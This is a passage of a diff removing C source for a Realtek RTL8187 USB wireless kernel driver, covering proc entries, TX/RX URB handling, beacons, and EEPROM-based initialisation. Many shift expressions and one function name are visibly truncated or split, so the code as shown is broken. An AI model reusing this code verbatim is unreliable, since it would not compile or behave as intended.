priv->stats.rxurberr); - - *eof = 1; - return len; -} - - -static struct iw_statistics *r8180_get_wireless_stats(struct net_device *dev) -{ - struct r8180_priv *priv = ieee80211_priv(dev); - - return &priv->wstats; -} - -void rtl8180_proc_module_init(void) -{ - DMESG("Initializing proc filesystem"); - rtl8180_proc=create_proc_entry(RTL8187_MODULE_NAME, S_IFDIR, proc_net); -} - - -void rtl8180_proc_module_remove(void) -{ - remove_proc_entry(RTL8187_MODULE_NAME, proc_net); -} - - -void rtl8180_proc_remove_one(struct net_device *dev) -{ - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - if (priv->dir_dev) { - // remove_proc_entry("stats-hw", priv->dir_dev); - remove_proc_entry("stats-tx", priv->dir_dev); - remove_proc_entry("stats-rx", priv->dir_dev); - // remove_proc_entry("stats-ieee", priv->dir_dev); - // remove_proc_entry("stats-ap", priv->dir_dev); - remove_proc_entry("registers", priv->dir_dev); - remove_proc_entry(dev->name, rtl8180_proc); - priv->dir_dev = NULL; - } -} - - -void rtl8180_proc_init_one(struct net_device *dev) -{ - struct proc_dir_entry *e; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - priv->dir_dev = create_proc_entry(dev->name, - S_IFDIR | S_IRUGO | S_IXUGO, - rtl8180_proc); - if (!priv->dir_dev) { - DMESGE("Unable to initialize /proc/net/rtl8187/%s\n", - dev->name); - return; - } - #if 0 - e = create_proc_read_entry("stats-hw", S_IFREG | S_IRUGO, - priv->dir_dev, proc_get_stats_hw, dev); - - if (!e) { - DMESGE("Unable to initialize " - "/proc/net/rtl8187/%s/stats-hw\n", - dev->name); - } - #endif - e = create_proc_read_entry("stats-rx", S_IFREG | S_IRUGO, - priv->dir_dev, proc_get_stats_rx, dev); - - if (!e) { - DMESGE("Unable to initialize " - "/proc/net/rtl8187/%s/stats-rx\n", - dev->name); - } - - - e = create_proc_read_entry("stats-tx", S_IFREG | S_IRUGO, - priv->dir_dev, proc_get_stats_tx, dev); - - if (!e) { - DMESGE("Unable to initialize " - "/proc/net/rtl8187/%s/stats-tx\n", - dev->name); - } - #if 0 - e = create_proc_read_entry("stats-ieee", S_IFREG | S_IRUGO, - priv->dir_dev, proc_get_stats_ieee, dev); - - if (!e) { - DMESGE("Unable to initialize " - "/proc/net/rtl8187/%s/stats-ieee\n", - dev->name); - } - - - e = create_proc_read_entry("stats-ap", S_IFREG | S_IRUGO, - priv->dir_dev, proc_get_stats_ap, dev); - - if (!e) { - DMESGE("Unable to initialize " - "/proc/net/rtl8187/%s/stats-ap\n", - dev->name); - } - #endif - - e = create_proc_read_entry("registers", S_IFREG | S_IRUGO, - priv->dir_dev, proc_get_registers, dev); - - if (!e) { - DMESGE("Unable to initialize " - "/proc/net/rtl8187/%s/registers\n", - dev->name); - } -} -/**************************************************************************** - -----------------------------MISC STUFF------------------------- -*****************************************************************************/ - -/* this is only for debugging */ -void print_buffer(u32 *buffer, int len) -{ - int i; - u8 *buf =(u8*)buffer; - - printk("ASCII BUFFER DUMP (len: %x):\n",len); - - for(i=0;itx_np_pending : &priv->tx_lp_pending); - - return (used < MAX_TX_URB); -} - -void tx_timeout(struct net_device *dev) -{ - struct r8180_priv *priv = ieee80211_priv(dev); - //rtl8180_commit(dev); - schedule_work(&priv->reset_wq); - //DMESG("TXTIMEOUT"); -} - - -/* this is only for debug */ -void dump_eprom(struct net_device *dev) -{ - int i; - for(i=0; i<63; i++) - DMESG("EEPROM addr %x : %x", i, eprom_read(dev,i)); -} - -/* this is only for debug */ -void rtl8180_dump_reg(struct net_device *dev) -{ - int i; - int n; - int max=0xff; - - DMESG("Dumping NIC register map"); - - for(n=0;n<=max;) - { - printk( "\nD: %2x> ", n); - for(i=0;i<16 && n<=max;i++,n++) - printk("%2x ",read_nic_byte(dev,n)); - } - printk("\n"); -} - -/**************************************************************************** - ------------------------------HW STUFF--------------------------- -*****************************************************************************/ - - -void rtl8180_irq_enable(struct net_device *dev) -{ - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - //priv->irq_enabled = 1; -/* - write_nic_word(dev,INTA_MASK,INTA_RXOK | INTA_RXDESCERR | INTA_RXOVERFLOW |\ - INTA_TXOVERFLOW | INTA_HIPRIORITYDESCERR | INTA_HIPRIORITYDESCOK |\ - INTA_NORMPRIORITYDESCERR | INTA_NORMPRIORITYDESCOK |\ - INTA_LOWPRIORITYDESCERR | INTA_LOWPRIORITYDESCOK | INTA_TIMEOUT); -*/ - write_nic_word(dev,INTA_MASK, priv->irq_mask); -} - - -void rtl8180_irq_disable(struct net_device *dev) -{ -// struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - - write_nic_word(dev,INTA_MASK,0); - force_pci_posting(dev); -// priv->irq_enabled = 0; -} - - -void rtl8180_set_mode(struct net_device *dev,int mode) -{ - u8 ecmd; - ecmd=read_nic_byte(dev, EPROM_CMD); - ecmd=ecmd &~ EPROM_CMD_OPERATING_MODE_MASK; - ecmd=ecmd | (mode<ieee80211->state == IEEE80211_LINKED){ - - if (priv->ieee80211->iw_mode == IW_MODE_INFRA) - msr |= (MSR_LINK_MANAGED<ieee80211->iw_mode == IW_MODE_ADHOC) - msr |= (MSR_LINK_ADHOC<ieee80211->iw_mode == IW_MODE_MASTER) - msr |= (MSR_LINK_MASTER<chan=ch; - #if 0 - if(priv->ieee80211->iw_mode == IW_MODE_ADHOC || - priv->ieee80211->iw_mode == IW_MODE_MASTER){ - - priv->ieee80211->link_state = WLAN_LINK_ASSOCIATED; - priv->ieee80211->master_chan = ch; - rtl8180_update_beacon_ch(dev); - } - #endif - - /* this hack should avoid frame TX during channel setting*/ - tx = read_nic_dword(dev,TX_CONF); - tx &= ~TX_LOOPBACK_MASK; - -#ifndef LOOP_TEST - write_nic_dword(dev,TX_CONF, tx |( TX_LOOPBACK_MAC<rf_set_chan(dev,priv->chan); - mdelay(10); - write_nic_dword(dev,TX_CONF,tx | (TX_LOOPBACK_NONE<udev, - usb_rcvbulkpipe(priv->udev,0x81), rx_urb->transfer_buffer, - RX_URB_SIZE,rtl8187_rx_isr,dev); - err = usb_submit_urb(rx_urb, GFP_ATOMIC); - if(err && err != -EPERM){ - DMESGE("cannot submit RX command. URB_STATUS %x",rx_urb->status); - - } - -} - - -void rtl8187_rx_initiate(struct net_device *dev) -{ - int i; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - - if(!priv->rx_urb) - DMESGE("Cannot intiate RX urb mechanism"); - for(i=0;irx_urb[i]); - -} - -void rtl8187_set_rxconf(struct net_device *dev) -{ - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - u32 rxconf; - - rxconf=read_nic_dword(dev,RX_CONF); - rxconf = rxconf &~ MAC_FILTER_MASK; - rxconf = rxconf | (1<flags & IFF_PROMISC) DMESG ("NIC in promisc mode"); - - if(priv->ieee80211->iw_mode == IW_MODE_MONITOR || \ - dev->flags & IFF_PROMISC){ - rxconf = rxconf | (1<ieee80211->iw_mode == IW_MODE_MASTER){ - rxconf = rxconf | (1<ieee80211->iw_mode == IW_MODE_MONITOR){ - rxconf = rxconf | (1<crcmon == 1 && priv->ieee80211->iw_mode == IW_MODE_MONITOR) - rxconf = rxconf | (1<card_8185){ - - txconf = txconf &~ (1<ieee80211->hw_seq) - txconf= txconf &~ (1<retry_data<retry_rts<dma_poll_mask); - rtl8180_set_mode(dev,EPROM_CMD_NORMAL); - */ -} - -#if 0 -void rtl8180_beacon_tx_enable(struct net_device *dev) -{ - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - priv->dma_poll_mask &=~(1<dma_poll_mask); - rtl8180_set_mode(dev,EPROM_CMD_NORMAL); -} - - -void rtl8180_ -_disable(struct net_device *dev) -{ - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - priv->dma_poll_mask |= (1<dma_poll_mask); - rtl8180_set_mode(dev,EPROM_CMD_NORMAL); -} - -#endif - - -void rtl8180_rtx_disable(struct net_device *dev) -{ - u8 cmd; - int i; - struct r8180_priv *priv = ieee80211_priv(dev); - - cmd=read_nic_byte(dev,CMD); - write_nic_byte(dev, CMD, cmd &~ \ - ((1<rx_urb){ - for(i=0;irx_urb[i]); - } - /*while (read_nic_byte(dev,CMD) & (1<rx_skb_complete) -// dev_kfree_skb_any(priv->rx_skb); -} - - -int alloc_tx_beacon_desc_ring(struct net_device *dev, int count) -{ - #if 0 - int i; - u32 *tmp; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - - priv->txbeaconring = (u32*)pci_alloc_consistent(priv->pdev, - sizeof(u32)*8*count, - &priv->txbeaconringdma); - if (!priv->txbeaconring) return -1; - for (tmp=priv->txbeaconring,i=0;itxbeaconringdma+((i+1)*8*4); - else - *(tmp+4) = (u32)priv->txbeaconringdma; - - tmp=tmp+8; - } - #endif - return 0; -} - - -void rtl8180_reset(struct net_device *dev) -{ - - u8 cr; - - /* make sure the analog power is on before - * reset, otherwise reset may fail - */ - rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON); - rtl8185_set_anaparam2(dev, RTL8225_ANAPARAM2_ON); - - rtl8180_irq_disable(dev); - - mdelay(200); - write_nic_byte_E(dev,0x18,0x10); - write_nic_byte_E(dev,0x18,0x11); - write_nic_byte_E(dev,0x18,0x00); - mdelay(200); - - cr=read_nic_byte(dev,CMD); - cr = cr & 2; - cr = cr | (1<11) return 0; - return rtl_rate[rate]; -} - - -void rtl8187_rx_isr(struct urb *rx_urb, struct pt_regs *regs) -{ - struct net_device *dev = (struct net_device*)rx_urb->context; - struct r8180_priv *priv = ieee80211_priv(dev); - - priv->rxurb_task = rx_urb; -// DMESGW("David: Rx tasklet start!"); - tasklet_schedule(&priv->irq_rx_tasklet); -// DMESGW("=David: Rx tasklet finish!"); -} - -#if 0 -void rtl8180_tx_queues_stop(struct net_device *dev) -{ - //struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - u8 dma_poll_mask = (1<dma_poll_mask |= (1<dma_poll_mask); - rtl8180_set_mode(dev,EPROM_CMD_NORMAL); - #endif -} - - -void rtl8180_data_hard_resume(struct net_device *dev) -{ - // FIXME !! - #if 0 - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - priv->dma_poll_mask &= ~(1<dma_poll_mask); - rtl8180_set_mode(dev,EPROM_CMD_NORMAL); - #endif -} - - -/* this function TX data frames when the ieee80211 stack requires this. - * It checks also if we need to stop the ieee tx queue, eventually do it - */ -void rtl8180_hard_data_xmit(struct sk_buff *skb, struct net_device *dev, int rate) -{ - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - - short morefrag = 0; - unsigned long flags; - struct ieee80211_hdr *h = (struct ieee80211_hdr *) skb->data; - - if (le16_to_cpu(h->frame_ctl) & IEEE80211_FCTL_MOREFRAGS) - morefrag = 1; -// DMESG("%x %x", h->frame_ctl, h->seq_ctl); - /* - * This function doesn't require lock because we make - * sure it's called with the tx_lock already acquired. - * this come from the kernel's hard_xmit callback (trought - * the ieee stack, or from the try_wake_queue (again trought - * the ieee stack. - */ - spin_lock_irqsave(&priv->tx_lock,flags); - - //DMESG("TX"); - if (!check_nic_enought_desc(dev, LOW_PRIORITY)){ - DMESG("Error: no TX slot "); - ieee80211_stop_queue(priv->ieee80211); - } - - rtl8180_tx(dev, (u32*)skb->data, skb->len, LOW_PRIORITY, morefrag, - ieeerate2rtlrate(rate)); - - priv->stats.txdatapkt++; - - if (!check_nic_enought_desc(dev, LOW_PRIORITY)) - ieee80211_stop_queue(priv->ieee80211); - - spin_unlock_irqrestore(&priv->tx_lock,flags); - -} -#if 0 -/* This is a rough attempt to TX a frame - * This is called by the ieee 80211 stack to TX management frames. - * If the ring is full packet are dropped (for data frame the queue - * is stopped before this can happen). - */ -int rtl8180_hard_start_xmit(struct sk_buff *skb,struct net_device *dev) -{ - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - int ret; - unsigned long flags; - - spin_lock_irqsave(&priv->tx_lock,flags); - - ret = rtl8180_tx(dev, (u32*)skb->data, skb->len, NORM_PRIORITY, 0,DEFAULT_BASICRATE); -/* - int i; - for(i=0;ilen;i++) - printk("%x ", skb->data[i]); - printk("--------------------\n"); -*/ - priv->ieee80211->stats.tx_bytes+=skb->len; - priv->ieee80211->stats.tx_packets++; - - spin_unlock_irqrestore(&priv->tx_lock,flags); - - dev_kfree_skb_any(skb); - return ret; -} -#endif - -#if 0 -// longpre 144+48 shortpre 72+24 -u16 rtl8180_len2duration(u32 len, short rate,short* ext) -{ - u16 duration; - u16 drift; - *ext=0; - - switch(rate){ - case 0://1mbps - *ext=0; - duration = ((len+4)<<4) /0x2; - drift = ((len+4)<<4) % 0x2; - if(drift ==0 ) break; - duration++; - break; - - case 1://2mbps - *ext=0; - duration = ((len+4)<<4) /0x4; - drift = ((len+4)<<4) % 0x4; - if(drift ==0 ) break; - duration++; - break; - - case 2: //5.5mbps - *ext=0; - duration = ((len+4)<<4) /0xb; - drift = ((len+4)<<4) % 0xb; - if(drift ==0 ) - break; - duration++; - break; - - default: - case 3://11mbps - *ext=0; - duration = ((len+4)<<4) /0x16; - drift = ((len+4)<<4) % 0x16; - if(drift ==0 ) - break; - duration++; - if(drift > 6) - break; - *ext=1; - break; - } - - return duration; -} -#endif - -void rtl8180_try_wake_queue(struct net_device *dev, int pri); - -void rtl8187_lptx_isr(struct urb *tx_urb, struct pt_regs *regs) -{ - struct net_device *dev = (struct net_device*)tx_urb->context; - struct r8180_priv *priv = ieee80211_priv(dev); - if(tx_urb->status == 0) - priv->stats.txlpokint++; - else - priv->stats.txlperr++; - kfree(tx_urb->transfer_buffer); - usb_free_urb(tx_urb); - atomic_dec(&priv->tx_lp_pending); - rtl8180_try_wake_queue(dev,LOW_PRIORITY); -} - - -void rtl8187_beacon_stop(struct net_device *dev) -{ - u8 msr, msrm, msr2; - msr = read_nic_byte(dev, MSR); - msrm = msr & MSR_LINK_MASK; - msr2 = msr & ~MSR_LINK_MASK; - if ((msrm == (MSR_LINK_ADHOC<ieee80211->current_network; - - - write_nic_dword(dev,BSSID,((u32*)net->bssid)[0]); - write_nic_word(dev,BSSID+4,((u16*)net->bssid)[2]); - //for(i=0;ibssid[i]); - - rtl8180_update_msr(dev); - -// rtl8180_set_mode(dev,EPROM_CMD_CONFIG); - write_nic_word(dev, AtimWnd, 2); - write_nic_word(dev, AtimtrItv, 100); - write_nic_word(dev, BEACON_INTERVAL, net->beacon_interval); - write_nic_word(dev, BcnIntTime, 100); - - -} - -void rtl8187_beacon_tx(struct net_device *dev) -{ - - struct r8180_priv *priv = ieee80211_priv(dev); - struct sk_buff *skb; - int i = 0; - - rtl8187_net_update(dev); - - skb = ieee80211_get_beacon(priv->ieee80211); - - - if(!skb){ - DMESG("not enought memory for allocating beacon"); - return; - } - -#if 0 - while(MAX_TX_URB!=atomic_read(&priv->tx_np_pending)){ - msleep_interruptible_rtl(HZ/2); - if(i++ > 20){ - DMESG("get stuck to wait EP3 become ready"); - return ; - } - } -#endif - write_nic_byte(dev, BQREQ, read_nic_byte(dev, BQREQ) | (1<<7)); - - i=0; - //while(!read_nic_byte(dev,BQREQ & (1<<7))) - while( (read_nic_byte(dev, BQREQ) & (1<<7)) == 0 ) - { - msleep_interruptible_rtl(HZ/2); - if(i++ > 10){ - DMESG("get stuck to wait HW beacon to be ready"); - return ; - } - } - - rtl8180_tx(dev, (u32*)skb->data, skb->len, NORM_PRIORITY, - 0, priv->ieee80211->basic_rate); - -} - -void rtl8187_nptx_isr(struct urb *tx_urb, struct pt_regs *regs) -{ - struct net_device *dev = (struct net_device*)tx_urb->context; - struct r8180_priv *priv = ieee80211_priv(dev); - if(tx_urb->status == 0) - priv->stats.txnpokint++; - else - priv->stats.txnperr++; - kfree(tx_urb->transfer_buffer); - usb_free_urb(tx_urb); - atomic_dec(&priv->tx_np_pending); - //rtl8180_try_wake_queue(dev,NORM_PRIORITY); -} - - -/* This function do the real dirty work: it sends a TX command - * descriptor plus data URB - */ - -short rtl8180_tx(struct net_device *dev, u32* txbuf, int len, priority_t priority, - short morefrag, short rate) -{ - u32 *tx; -// u16 duration; -// short ext; - int pend ; - int status; - struct urb *tx_urb; - int urb_len; - struct r8180_priv *priv = ieee80211_priv(dev); -// int rate = ieeerate2rtlrate(priv->ieee80211->rate); - - pend = atomic_read((priority == NORM_PRIORITY)? &priv->tx_np_pending : &priv->tx_lp_pending); - /* we are locked here so the two atomic_read and inc are executed without interleaves */ - if( pend > MAX_TX_URB){ - if(priority == NORM_PRIORITY) - priv->stats.txnpdrop++; - else - priv->stats.txlpdrop++; - return -1; - } - - - //tx = kmalloc((len + 4*3), GFP_ATOMIC); - urb_len = len + 4*3; - if((0 == urb_len%64)||(0 == urb_len%512)) { - urb_len += 1; - } - tx = kmalloc(urb_len, GFP_ATOMIC); - if(!tx) return -ENOMEM; -printk(KERN_WARNING "urb_len = %d\n", urb_len); - tx_urb = usb_alloc_urb(0,GFP_ATOMIC); - - if(!tx_urb){ - - kfree(tx); - return -ENOMEM; - } - - memcpy(tx+3,txbuf,len); - tx[0] = 0; - tx[0] |= len & 0xfff; - tx[0] |= (1<<15); - -// if(priv->shortpre) -// tx[0] |= (1<<16); - - //if(len > priv->rts_threshold){ -// tx[0] |= (1<<23); //ENABLE RTS -// tx[0] |= (1<<18); //ENABLE CTS - //} - if(morefrag) tx[0] |= (1<<17); - tx[0] |= (ieeerate2rtlrate(priv->ieee80211->basic_rate) << 19); /* RTS RATE - should be basic rate */ - tx[0] |= (rate << 24); - tx[1] = 0; - -// duration = rtl8180_len2duration(len, -// rate,&ext); -// tx[1] |= (duration & 0x7fff) <<16; -// if(ext) tx[1] |= (1<<31); - - -// tx[2] = 0x303020; - tx[2] = 3; // CW min - tx[2] |= (7<<4); //CW max - tx[2] |= (11<<8);//(priv->retry_data<<8); //retry lim - -// printk("%x\n%x\n",tx[0],tx[1]); - - #ifdef DUMP_TX - int i; - printk("--rate %x---",rate); - for (i = 0; i < (len + 3); i++) - printk("%2x", ((u8*)tx)[i]); - printk("---------------\n"); - #endif - - - /* FIXME check what EP is for low/norm PRI */ - usb_fill_bulk_urb(tx_urb,priv->udev, - usb_sndbulkpipe(priv->udev,(priority == LOW_PRIORITY) ? 2:3), tx, - urb_len, (priority == LOW_PRIORITY)?rtl8187_lptx_isr:rtl8187_nptx_isr, dev); - status = usb_submit_urb(tx_urb, GFP_ATOMIC); - if (!status){ - atomic_inc((priority == NORM_PRIORITY)? &priv->tx_np_pending : &priv->tx_lp_pending); - return 0; - }else{ - DMESGE("Error TX URB %d, error %d", - atomic_read((priority == NORM_PRIORITY)? &priv->tx_np_pending : &priv->tx_lp_pending), - status); - return -1; - } -} - - - -void rtl8180_irq_rx_tasklet(struct r8180_priv * priv); - - -short rtl8187_usb_initendpoints(struct net_device *dev) -{ - struct r8180_priv *priv = ieee80211_priv(dev); - int i; - - priv->rx_urb = (struct urb**) kmalloc (sizeof(struct urb*) * MAX_RX_URB, GFP_KERNEL); - - for(i=0;irx_urb[i] = usb_alloc_urb(0,GFP_KERNEL); - if(!priv->rx_urb[i]) - goto destroy; - - priv->rx_urb[i]->transfer_buffer = kmalloc(RX_URB_SIZE, GFP_KERNEL); - if(!priv->rx_urb[i]->transfer_buffer) - goto destroy1; - - priv->rx_urb[i]->transfer_buffer_length = RX_URB_SIZE; - } - - return 0; - -destroy1: - usb_free_urb(priv->rx_urb[i]); - -destroy: - while (--i >= 0){ - kfree(priv->rx_urb[i]->transfer_buffer); - usb_free_urb(priv->rx_urb[i]); - } - - kfree(priv->rx_urb); - - priv->rx_urb = NULL; - DMESGE("Endpoint Alloc Failure"); - return -ENOMEM; - -} - -void rtl8187_usb_deleteendpoints(struct net_device *dev) -{ - struct r8180_priv *priv = ieee80211_priv(dev); - int i; - - if(priv->rx_urb){ - for(i=0;irx_urb[i]); - kfree(priv->rx_urb[i]->transfer_buffer); - usb_free_urb(priv->rx_urb[i]); - } - kfree(priv->rx_urb); - priv->rx_urb = NULL; - - } - -} - - -void rtl8187_set_rate(struct net_device *dev) -{ - int i; - u16 word; - int basic_rate,min_rr_rate,max_rr_rate; - -// struct r8180_priv *priv = ieee80211_priv(dev); - - //if (ieee80211_is_54g(priv->ieee80211->current_network) && -// priv->ieee80211->state == IEEE80211_LINKED){ - basic_rate = ieeerate2rtlrate(240); - min_rr_rate = ieeerate2rtlrate(60); - max_rr_rate = ieeerate2rtlrate(240); - -// -// }else{ -// basic_rate = ieeerate2rtlrate(20); -// min_rr_rate = ieeerate2rtlrate(10); -// max_rr_rate = ieeerate2rtlrate(110); -// } - - write_nic_byte(dev, RESP_RATE, - max_rr_rate<beacon_interval); - rtl8187_net_update(dev); - /*update timing params*/ - rtl8180_set_chan(dev, priv->chan); - - rtl8187_set_rxconf(dev); -} - -void rtl8180_irq_rx_tasklet(struct r8180_priv *priv); - -short rtl8180_init(struct net_device *dev) -{ - - struct r8180_priv *priv = ieee80211_priv(dev); - int i, j; - u16 word; - int ch; - //u16 version; - //u8 hw_version; - //u8 config3; - - //FIXME: these constants are placed in a bad pleace. - -// priv->txbuffsize = 1024; -// priv->txringcount = 32; -// priv->rxbuffersize = 1024; -// priv->rxringcount = 32; -// priv->txbeaconcount = 3; -// priv->rx_skb_complete = 1; - //priv->txnp_pending.ispending=0; - /* ^^ the SKB does not containt a partial RXed - * packet (is empty) - */ - - if(!channels){ - DMESG("No channels, aborting"); - return -1; - } - ch=channels; - // set channels 1..14 allowed in given locale - for (i=1; i<=14; i++) { - (priv->ieee80211->channel_map)[i] = (u8)(ch & 0x01); - ch >>= 1; - } - //memcpy(priv->stats,0,sizeof(struct Stats)); - - //priv->irq_enabled=0; - -// priv->stats.rxdmafail=0; - priv->stats.txrdu=0; -// priv->stats.rxrdu=0; -// priv->stats.rxnolast=0; -// priv->stats.rxnodata=0; - //priv->stats.rxreset=0; - //priv->stats.rxwrkaround=0; -// priv->stats.rxnopointer=0; - priv->stats.txnperr=0; - priv->stats.txresumed=0; -// priv->stats.rxerr=0; -// priv->stats.rxoverflow=0; -// priv->stats.rxint=0; - priv->stats.txnpokint=0; - /*priv->stats.txhpokint=0; - priv->stats.txhperr=0;*/ - priv->stats.rxurberr=0; - priv->stats.rxstaterr=0; - priv->stats.txoverflow=0; - priv->stats.rxok=0; -// priv->stats.txbeaconerr=0; - priv->stats.txlperr=0; - priv->stats.txlpokint=0; - - priv->ieee80211->iw_mode = IW_MODE_INFRA; - - priv->retry_rts = DEFAULT_RETRY_RTS; - priv->retry_data = DEFAULT_RETRY_DATA; - priv->ieee80211->rate = 110; //11 mbps - priv->ieee80211->short_slot = 1; - priv->ieee80211->mode = IEEE_G; - priv->promisc = (dev->flags & IFF_PROMISC) ? 1:0; - spin_lock_init(&priv->tx_lock); - INIT_WORK(&priv->reset_wq,(void(*)(void*)) rtl8180_restart,dev); - sema_init(&priv->wx_sem,1); - tasklet_init(&priv->irq_rx_tasklet, - (void(*)(unsigned long))rtl8180_irq_rx_tasklet, - (unsigned long)priv); - - //priv->ieee80211->func = - // kmalloc(sizeof(struct ieee80211_helper_functions),GFP_KERNEL); - //memset(priv->ieee80211->func, 0, - // sizeof(struct ieee80211_helper_functions)); - priv->ieee80211->current_network.beacon_interval = DEFAULT_BEACONINTERVAL; - priv->ieee80211->iw_mode = IW_MODE_INFRA; - priv->ieee80211->softmac_features = IEEE_SOFTMAC_SCAN | - IEEE_SOFTMAC_ASSOCIATE | IEEE_SOFTMAC_PROBERQ | - IEEE_SOFTMAC_PROBERS | IEEE_SOFTMAC_TX_QUEUE | - /*IEEE_SOFTMAC_BEACONS | */IEEE_SOFTMAC_SINGLE_QUEUE; - - priv->ieee80211->active_scan = 1; - priv->ieee80211->rate = 110; //11 mbps - priv->ieee80211->modulation = IEEE80211_CCK_MODULATION | IEEE80211_OFDM_MODULATION; - priv->ieee80211->host_encrypt = 1; - priv->ieee80211->host_decrypt = 1; - priv->ieee80211->start_send_beacons = rtl8187_beacon_tx; - priv->ieee80211->stop_send_beacons = rtl8187_beacon_stop; - //priv->ieee80211->softmac_hard_start_xmit = rtl8180_hard_start_xmit; - priv->ieee80211->softmac_hard_start_xmit = NULL; - priv->ieee80211->set_chan = rtl8180_set_chan; - priv->ieee80211->link_change = rtl8187_link_change; - priv->ieee80211->softmac_data_hard_start_xmit = rtl8180_hard_data_xmit; - priv->ieee80211->data_hard_stop = rtl8180_data_hard_stop; - priv->ieee80211->data_hard_resume = rtl8180_data_hard_resume; - //priv->ieee80211->start_send_beacons = NULL; - //priv->ieee80211->stop_send_beacons = NULL; - - priv->ieee80211->fts = DEFAULT_FRAG_THRESHOLD; - - priv->card_8185 = 2; - priv->phy_ver = 2; - priv->card_type = USB; - - #if 0 - hw_version =( read_nic_dword(dev, TCR) & TCR_HWVERID_MASK)>>TCR_HWVERID_SHIFT; - - switch (hw_version){ - case HW_VERID_R8185_ABC: - DMESG("MAC controller is a RTL8185 b/g"); - priv->card_8185 = 1; - /* you should not find a card with 8225 PHY ver < C*/ - priv->phy_ver = 2; - break; - - case HW_VERID_R8185_D: - DMESG("MAC controller is a RTL8185 b/g (V. D)"); - priv->card_8185 = 2; - /* you should not find a card with 8225 PHY ver < C*/ - priv->phy_ver = 2; - break; - - case HW_VERID_R8180_ABCD: - DMESG("MAC controller is a RTL8180"); - priv->card_8185 = 0; - break; - - case HW_VERID_R8180_F: - DMESG("MAC controller is a RTL8180 (v. F)"); - priv->card_8185 = 0; - break; - - default: - DMESGW("MAC chip not recognized: version %x. Assuming RTL8180",hw_version); - priv->card_8185 = 0; - break; - } - - - /* you should not found any 8185 Ver B Card */ - priv->card_8185_Bversion = 0; - - config3 = read_nic_byte(dev, CONFIG3); - if(config3 & 0x8){ - priv->card_type = CARDBUS; - DMESG("This is a CARDBUS NIC"); - } - else if( config3 & 0x4){ - priv->card_type = MINIPCI; - DMESG("This is a MINI-PCI NIC"); - }else{ - priv->card_type = PCI; - DMESG("This is a PCI NIC"); - } - #endif - priv->enable_gpio0 = 0; - - - /* commented out just because we already do - this when resetting the card - andrea 20050924 - */ - #if 0 - - u8 txcr, txreg50; - u32 txreg54, txreg60; - - /* enable A/D D/A register */ - txcr = read_nic_byte(dev, 0x59); -// DMESG("", txcr); - //write_nic_word(dev, 0x59, 0x44); - write_nic_byte(dev, 0x59, 0x44); - //write_nic_byte(dev, 0x59, 0xea); - txcr = read_nic_byte(dev, 0x59); -// DMESG("<>", txcr); - - txreg50 = read_nic_byte(dev, 0x50); - // DMESG("", txreg50); - write_nic_byte(dev, 0x50, 0xc0); - txreg50 = read_nic_byte(dev, 0x50); - // DMESG("<>", txreg50); - - - txreg54 = read_nic_dword(dev, 0x54); - // DMESG("", txreg54); - txreg54 = 0xa0000a59; - // DMESG("<>", txreg54); - write_nic_dword(dev, 0x54, txreg54); - txreg54 = read_nic_dword(dev, 0x54); - // DMESG("<<>>", txreg54); - - txreg60 = read_nic_dword(dev, 0x60); - // DMESG("", txreg60); - - write_nic_byte(dev, 0x50, 0x0); - txcr = read_nic_byte(dev, 0x50); - // DMESG("<>", txcr); - -#endif - - /*the eeprom type is stored in RCR register bit #6 */ - if (RCR_9356SEL & read_nic_dword(dev, RCR)){ - priv->epromtype=EPROM_93c56; - DMESG("Reported EEPROM chip is a 93c56 (2Kbit)"); - }else{ - priv->epromtype=EPROM_93c46; - DMESG("Reported EEPROM chip is a 93c46 (1Kbit)"); - } - - dev->get_stats = rtl8180_stats; - - dev->dev_addr[0]=eprom_read(dev,MAC_ADR) & 0xff; - dev->dev_addr[1]=(eprom_read(dev,MAC_ADR) & 0xff00)>>8; - dev->dev_addr[2]=eprom_read(dev,MAC_ADR+1) & 0xff; - dev->dev_addr[3]=(eprom_read(dev,MAC_ADR+1) & 0xff00)>>8; - dev->dev_addr[4]=eprom_read(dev,MAC_ADR+2) & 0xff; - dev->dev_addr[5]=(eprom_read(dev,MAC_ADR+2) & 0xff00)>>8; - - DMESG("Card MAC address is "MAC_FMT, MAC_ARG(dev->dev_addr)); - - for(i=1,j=0; i<6; i+=2,j++){ - - word = eprom_read(dev,EPROM_TXPW0 + j); - priv->chtxpwr[i]=word & 0xf; - priv->chtxpwr_ofdm[i]=(word & 0xf0)>>4; - priv->chtxpwr[i+1]=(word & 0xf00)>>8; - priv->chtxpwr_ofdm[i+1]=(word & 0xf000)>>12; - } - - for(i=1,j=0; i<4; i+=2,j++){ - - word = eprom_read(dev,EPROM_TXPW1 + j); - priv->chtxpwr[i+6]=word & 0xf; - priv->chtxpwr_ofdm[i+6]=(word & 0xf0)>>4; - priv->chtxpwr[i+6+1]=(word & 0xf00)>>8; - priv->chtxpwr_ofdm[i+6+1]=(word & 0xf000)>>12; - } - - for(i=1,j=0; i<4; i+=2,j++){ - - word = eprom_read(dev,EPROM_TXPW2 + j); - priv->chtxpwr[i+6+4]=word & 0xf; - priv->chtxpwr_ofdm[i+6+4]=(word & 0xf0)>>4; - priv->chtxpwr[i+6+4+1]=(word & 0xf00)>>8; - priv->chtxpwr_ofdm[i+6+4+1]=(word & 0xf000)>>12; - } - - - priv->rf_chip = 0xff & eprom_read(dev,EPROM_RFCHIPID); - - word = eprom_read(dev,EPROM_TXPW_BASE); - priv->cck_txpwr_base = word & 0xf; - priv->ofdm_txpwr_base = (word>>4) & 0xf; - - /* check RF frontend chipset */ - - switch (priv->rf_chip) { - - case EPROM_RFCHIPID_RTL8225U: - - DMESG("Card reports RF frontend Realtek 8225"); - DMESGW("This driver has EXPERIMENTAL support for this chipset."); - DMESGW("use it with care and at your own risk and"); - DMESGW("**PLEASE** REPORT SUCCESS/INSUCCESS TO 